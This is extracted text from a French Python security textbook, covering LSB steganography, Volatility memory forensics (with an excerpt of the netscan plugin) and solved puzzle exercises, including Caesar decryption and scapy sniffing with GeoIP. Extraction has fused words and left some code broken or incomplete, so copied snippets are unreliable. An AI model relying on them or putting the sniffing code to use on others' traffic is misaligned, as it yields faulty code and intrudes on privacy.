Dansleshuitpixelssuivants,nousrentronslinformation 01001001quiestlareprsentationbinairede 73et
quiestlecodeasciideI(imajuscule).Nousallonsdoncrcuprerlepremiercaractredelachane.
pixel
10
11
12
13
14
15
16
Sonic.gif
36
37
37
40
41
44
45
50
50
49
48
44
43
42
40
38
Rduction
36
36
36
40
40
44
44
50
50
48
48
44
42
42
40
38
Binaire
sonic_crypt
36
37
36
40
41
44
45
51
50
49
48
44
43
42
40
39
chap6_script14.py
#!/usr/bin/env python
#-*- coding:Latin-1 -*import Image
im = Image.open("../images/sonic.gif")
#on recupere les dimensions de limage
w,h=im.size
#On eclate limage en trois (rouge vert bleu)
r,g,b=im.split()
#on transforme limage en liste
r=list(r.getdata())
#le message coder
c="Le python cest le bien"
#on note la longueur de la chaine et on la transforme en binaire
u=len(c)
v=bin(len(c))[2:].rjust(8,"0")
#on transforme la chaine en une liste de 0 et de 1
ascii=[bin(ord(x))[2:].rjust(8,"0") for x in c]
#transformation de la liste en chaine
a=.join(ascii)
#on code la longueur de la liste dans les 8 premiers pixels rouges
for j in range(8):
r[j]=2*int(r[j]//2)+int(v[j])
#on code la chaine dans les pixels suivants
for i in range(8*u):
r[i+8]=2*int(r[i+8]//2)+int(a[i])
#on recre limage rouge
nr = Image.new("L",(16*p,16*q))
nr = Image.new("L",(w,h))
nr.putdata(r)
#fusion des trois nouvelles images
imgnew = Image.merge(RGB,(nr,g,b))
imgnew.save("sony_crypt.png")
3.Lecturedelimage
Nousallonsmaintenantlireletextedelimageprcdente:
- 2-
Aprsouverturedelimage,nousclatonscellecisuivantlescouleursr,betg ensuitenousrecherchonsdans
limagedescaractresquenousregrouponslafinduscriptpourafficherlemessage.
- 3-
Volatility
Lanalyse du contenu de la mmoire volatile (RAM) permet de trouver diffrentes informations, sur ltat du
systmeparexemple.
Lanalyse de la mmoire volatile va permettre de dcouvrir des connexions rseau ouvertes, les mots de passe
utilissrcemment,lesfichierseffacs,lecontenuduregistreWindows...
Volatility est un des plus grands projets Open Source pour le Forensic. Cest un framework Python avec de
nombreuseslibrairiespermettantdextrairedesdonnesdesmmoiresvolatiles.
LastructuredeVolatilitypermetdedvelopperdesmodulespourextrairedesdonnesspcifiquesdelaRAM.
Pardfautlesmodulessont :
Affichagedelalistedesconnexionsrseauouvertesetscandesobjetsdeconnexion.
AffichagedelalistedesDLLchargesparchaqueprocessus.
Affichagedesfichiersouvertspourchaqueprocessus.
Ralisationdediffrentsdump.
Identificationdelapropritdesimagesincluantlesdonnes,lhoraire,ladateetlelieu.
Affichagedunelistedesclsderegistrepourchaqueprocessustrouvdanslatabledesprocessus.
Despluginsonttajoutspardiversespersonnes,dontceuxci :
CryptoScan :trouvelespassphrasesTrueCrypt.
Suspicious :trouvelesprocessussuspects.
Keyboardbuffer :extraitlebufferdeclavierutilisparleBIOS.
Getsids :trouvelesinformationsdelutilisateurquialanclesprocessus(SID).
1.Informationssurlimage
Volatility est assez simple dinstallation, des exemples dutilisation sont trs bien documents sur le site. Voici
pourvousdonnerleaulabouche,unexempleissudusitedeVolatility.
Recherchedanslefichierdumpdesinformationssurlesystme:
- 1-
2.ProcessusetDLL
Recherchedanslefichierdumpdesprocessusetdlllancsetutilissparlesystme :
3.Exempledeprogramme
titredexempledutilisation,voiciunprogrammedeMichaelHale,disponiblesurleNet,quiutiliseVolatility.Ce
scriptestunscannerrseauquisupporte lIPv4etlIPv6.
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
Volatility
Authors:
Michael Hale Ligh <michael.hale@gmail.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public
License along with this program; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,
MA 02111-1307 USA
import
import
import
import
import
import
import
volatility.utils as utils
volatility.commands as commands
volatility.scan as scan
volatility.obj as obj
volatility.cache as cache
socket
itertools
tcp_states = [
"", # This must be empty, so the first enum starts at 1
"CLOSED",
"LISTENING",
"SYN_SENT",
"SYN_RCVD",
- 2-
"ESTABLISHED",
"FIN_WAIT1",
"FIN_WAIT2",
"CLOSE_WAIT",
"CLOSING",
"LAST_ACK",
"TIME_WAIT",
"DELETE_TCB",
]
# Pythons socket.AF_INET6 is 0x1e but MSFTs is 0x17..and we need
# to use MSFTs
AF_INET = 2
AF_INET6 = 0x17
# Compensate for Windows python not supporting socket.inet_ntop
# and some Linux systems (i.e. OpenSuSE 11.2 w/ Python 2.6) not
# supporting IPv6.
def inet_ntop(address_family, packed_ip):
def inet_ntop4(packed_ip):
if not isinstance(packed_ip, str):
raise TypeError("must be string, not
{0}".format(type(packed_ip)))
if len(packed_ip) != 4:
raise ValueError("invalid length of packed IP address
string")
return "{0}.{1}.{2}.{3}".format(*[ord(x) for x in
packed_ip])
def inet_ntop6(packed_ip):
if not isinstance(packed_ip, str):
raise TypeError("must be string, not
{0}".format(type(packed_ip)))
if len(packed_ip) != 16:
raise ValueError("invalid length of packed IP address
string")
words = []
for i in range(0, 16, 2):
words.append((ord(packed_ip[i]) << 8) |
ord(packed_ip[i + 1]))
# Replace a run of 0x00s with None
numlen = [(k, len(list(g))) for k, g in
itertools.groupby(words)]
max_zero_run = sorted(sorted(numlen, key = lambda x: x[1],
reverse = True), key = lambda x: x[0])[0]
words = []
for k, l in numlen:
if (k == 0) and (l == max_zero_run[1]) and not (None
in words):
words.append(None)
else:
for i in range(l):
words.append(k)
# Handle encapsulated IPv4 addresses
encapsulated = ""
if (words[0] is None) and (len(words) == 3 or (len(words)
== 4 and words[1] == 0xffff)):
words = words[:-2]
encapsulated = inet_ntop4(packed_ip[-4:])
# If we start or end with None, then add an additional :
if words[0] is None:
words = [None] + words
if words[-1] is None:
words += [None]
- 3-
- 4-
address_space.profile.get_obj_offset
("_POO L_HEADER", "PoolTag"))
checks = [ (PoolTagCheck, dict(tag = "TcpE")),
# Seen as 0x1f0 on Vista SP0, 0x1f8 on Vista SP2
# and 0x210 on 7
# Seen as 0x320 on Win7 SP0 x64
(CheckPoolSize, dict(condition = lambda x: x >=
0x1f0)),
(CheckPoolType, dict(non_paged = True, paged =
True, free = True)),
(CheckPoolIndex, dict(value = 0)),
]
class Netscan(commands.Command):
"""Scan a Vista, 2008 or Windows 7 image for connections and
sockets"""
def enumerate_listeners(self, theObject):
"""
Enumerate the listening IPv4 and IPv6 information.
Unlike XP, where you needed to create two sockets (one for
IPv4 and
one for IPv4), starting with Vista, Windows supports
dualstack sockets
(http://msdn.microsoft.com/en-us/library/bb513665.aspx)
which allows one
socket to be created that can use both protocols. This is
why our plugin
prints an IPv4 address for all IPv6 sockets, however its
also possible
to create an IPv6 only socket by calling setsockopt with
IPV6_V6ONLY.
"""
# These pointers are dereferenced in kernel space since we
# set native_vm when the objects were created.
LocalAddr = theObject.LocalAddr.dereference()
InetAF = theObject.InetAF.dereference()
Owner = theObject.Owner.dereference()
# We only handle IPv4 and IPv6 sockets at the moment
if InetAF.AddressFamily != AF_INET and
InetAF.AddressFamily != AF_INET6:
raise StopIteration
if LocalAddr != None:
inaddr = LocalAddr.pData.dereference().dereference().v()
if InetAF.AddressFamily == AF_INET:
laddr = inet_ntop(socket.AF_INET,
theObject.obj_native_vm.zread(inaddr, 4))
yield "v4", laddr, inaddr_any, Owner
else:
laddr = inet_ntop(socket.AF_INET6,
theObject.obj_native_vm.zread(inaddr, 16))
yield "v6", laddr, inaddr6_any, Owner
else:
yield "v4", inaddr_any, inaddr_any, Owner
if InetAF.AddressFamily == AF_INET6:
yield "v6", inaddr6_any, inaddr6_any, Owner
@cache.CacheDecorator("tests/netscan")
def calculate(self):
# Virtual kernel space for dereferencing pointers
vspace = utils.load_as(self._config)
# Physical space for scanning
pspace = utils.load_as(self._config, astype = physical)
- 5-
- 6-
Dautresscriptsexistentetsontdisponiblessur:http:\\code.google.com\p\volatility
- 7-
Applications
1.Dcryptage
a.nonc
Nousavonscettephrase :
nkxtguwtncugewtkvgkphqtocvkswggvnggvjkecnjcemkpi:vqwvkphqtocvkekgpugpukdknkugcweqpegrv
fg nc ugewtkvg kphqtocvkswg ocku pqxkeg qw fgdwvcpv fcpu ng fqockpg fg nc ugewtkvg fgu uauvgogu
fkphqtocvkqpu.Sqpcfcigguvcrrtgpftgngucvvcswgurqwtokgwzugfghgpftg.
Crezunscriptquiladcrypte.
b.Correction
import string
cyphertext = "nkxtg uwt nc ugewtkvg kphqtocvkswg gv ng gvjkecn
jcemkpi : vqwv kphqtocvkekgp ugpukdknkug cw eqpegrv fg nc ugewtkvg
kphqtocvkswg ocku pqxkeg qw fgdwvcpv fcpu ng fqockpg fg nc
ugewtkvg fgu uauvgogu fkphqtocvkqpu. Sqp cfcig guv crrtgpftg ngu
cvvcswgu rqwt okgwz ug fghgpftg."
fromlist = "abcdefghijklmnopqrstuvwxyz"
tolist = "cdefghijklmnopqrstuvwxyzab"
transtable = string.maketrans(fromlist, tolist)
print string.translate(cyphertext, transtable)
2.OCR
a.nonc
VoustrouverezentlchargementsurlapageInformations gnralesdecelivrenumriqueunfichiertexte
nommocr.txt.
Un mot y est cach et chacune de ses lettres est trs rare dans le fichier. Recherchez les lettres qui
napparaissentquuneseulefois.
b.Correction
mess = open("ocr.txt").read()
dict = {}
for ch in mess:
dict[ch] = dict.get(ch, 0) + 1
print "".join(ch for ch in mess if dict[ch] == 1)
Lersultattrouverest"equality".
3.ZIP
ENI Editions - All rights reserved - chantal gournier
- 1-
a.nonc
Voustrouverezunfichierchannel.zipentlchargement.
Vouscommencerez90052.
LarponseestdansleZIP.
b.Correction
import zipfile,re
idx="90052"
file = zipfile.ZipFile("channel.zip", "r")
history = []
while True:
history.append(idx)
data = file.read(idx+".txt")
print "File",idx+":\t"+ data
idx="".join(re.findall([0-9.],data))
if len(idx)==1:
break
print .join([file.getinfo(i+.txt).comment for i in history])
LersultatobtenudoittreHOCKEYcritenASCIIart(artASCII).
4.Scapyetgolocalisation
a.nonc
ImaginonsquelonveuillefairedelagolocalisationpartirdadressesIP sourceetdestination.
crivezunscriptPythonquiralisecettefonction.
Aide :utiliserlalibrairieGeoIP.
b.Correction
#!/usr/bin/env python
import scapy, GeoIP
from scapy import *
gi=GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
def prnPkt(pkt) :
src=pkt.getlayer(IP).src
dst=pkt.getlayer(IP).dst
srcCo=gi.country_code_by_addr(src)
dstCo=gi.country_code_by_addr(dst)
print srcCo+">>"+dstCo
try :
while True :
sniff(filter="ip", prn=prnPkt,store=0)
except KeyboardInterrupt :
print "\nExit\n"
- 2-
- 3-
Bibliographie
Python,Lesfondamentauxdulangage,SbastienChazallet,ditionsENI
ScuritinformatiqueEthicalHackingApprendrelattaquepourmieuxsedfendre,ACISSI,ditionsENI
ProgrammingPython,MarkLutz,4thRevisededition(14janvier2011),OReillyMedia,Inc,USA
Gray Hat Python: Python Programming for Hackers and Reverse Engineers,JustinSeitz,dition :NoStarch
Press,USA
ThePythonStandardLibrarybyExample,DougHellmann,diteur :AddisonWesley
DiveintoPython,MarkPilgrim,diteur :Apress
FoundationsofPythonNetworkProgramming:TheComprehensiveGuidetoBuildingNetworkApplicationswith
Python,JohnGoerzen,T.BoweretBrandonRhodes,diteur :Apress
ConferencePyCon2008,RenaudLifchitzhttp://dl.afpy.org/pyconfr08/slides/renaudlifchitzscapy.pdf
OutilsdanalyseforensiquesousWindows,HarlanCarvey,diteur :Pearson
WindowsForensicAnalysisToolkit,ThirdEdition,HarlanCarvey,diteur :Syngress
TheBasicsofDigitalForensics,JohnSammons,diteur :Syngress
- 1-